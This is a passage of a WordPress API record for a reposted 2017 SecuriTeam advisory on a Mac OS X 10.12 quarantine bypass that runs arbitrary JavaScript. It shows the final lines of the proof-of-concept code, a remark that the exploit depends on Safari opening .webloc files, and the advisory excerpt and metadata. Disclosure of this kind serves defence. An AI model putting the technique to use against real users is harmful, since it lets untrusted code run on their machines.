class=\"crayon-sy\">}<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59cd7567e26cb757266218-9\"><span class=\"crayon-v\">xhr<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">send<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59cd7567e26cb757266218-10\"><span class=\"crayon-v\">EOF<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0010 seconds] -->  <\/p>\n<p>Note that only Safari will successfully load local resources via ajax (Chrome and Firefox won&#8217;t). In this exploitation process it&#8217;s not an issue since .webloc files are always opened with Safari.<\/p>\n<div class=\"printfriendly pf-alignleft\"><a href=\"#\" rel=\"nofollow\" onclick=\"window.print(); return false;\" class=\"noslimstat\" title=\"Printer Friendly, PDF &#038; Email\"><img decoding=\"async\" style=\"border:none;-webkit-box-shadow:none; box-shadow:none;\" src=\"https:\/\/cdn.printfriendly.com\/buttons\/printfriendly-button.png\" alt=\"Print Friendly, PDF &#038; Email\" \/><\/a><\/div>\n<\/div><\/div>\n<p><a href=\"https:\/\/blogs.securiteam.com\/index.php\/archives\/3449\" target=\"bwo\" >https:\/\/blogs.securiteam.com\/index.php\/feed<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p><img decoding=\"async\" src=\"https:\/\/cdn.printfriendly.com\/buttons\/printfriendly-button.png\"\/><\/p>\n<p><strong>Credit to Author: SSD \/ Noam Rathaus| Date: Thu, 28 Sep 2017 20:52:32 +0000<\/strong><\/p>\n<p>Vulnerability summary Mac OS X contains a vulnerability that allows bypassing of the Apple Quarantine and the execution of arbitrary JavaScript code without any restrictions. Credit A security researcher from WeAreSegment, Filippo Cavallarin, has reported this vulnerability to Beyond Security\u2019s SecuriTeam Secure Disclosure program. Vendor response Apple has been notified on the 27th of June &#8230; <a href=\"https:\/\/blogs.securiteam.com\/index.php\/archives\/3449\" class=\"more-link\">Continue reading <span class=\"screen-reader-text\">SSD Advisory \u2013 Mac OS X 10.12 Quarantine Bypass<\/span><\/a><\/p>\n","protected":false},"author":4,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"colormag_page_container_layout":"default_layout","colormag_page_sidebar_layout":"default_layout","footnotes":""},"categories":[10643,10754],"tags":[15244,10757],"class_list":["post-9591","post","type-post","status-publish","format-standard","hentry","category-independent","category-securiteam","tag-sandbox-escape","tag-securiteam-secure-disclosure"],"_links":{"self":[{"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts\/9591","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/users\/4"}],"replies":[{"embeddable":true,"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/comments?post=9591"}],"version-history":[{"count":0,"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts\/9591\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/media?parent=9591"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/categories?post=9591"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/tags?post=9591"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}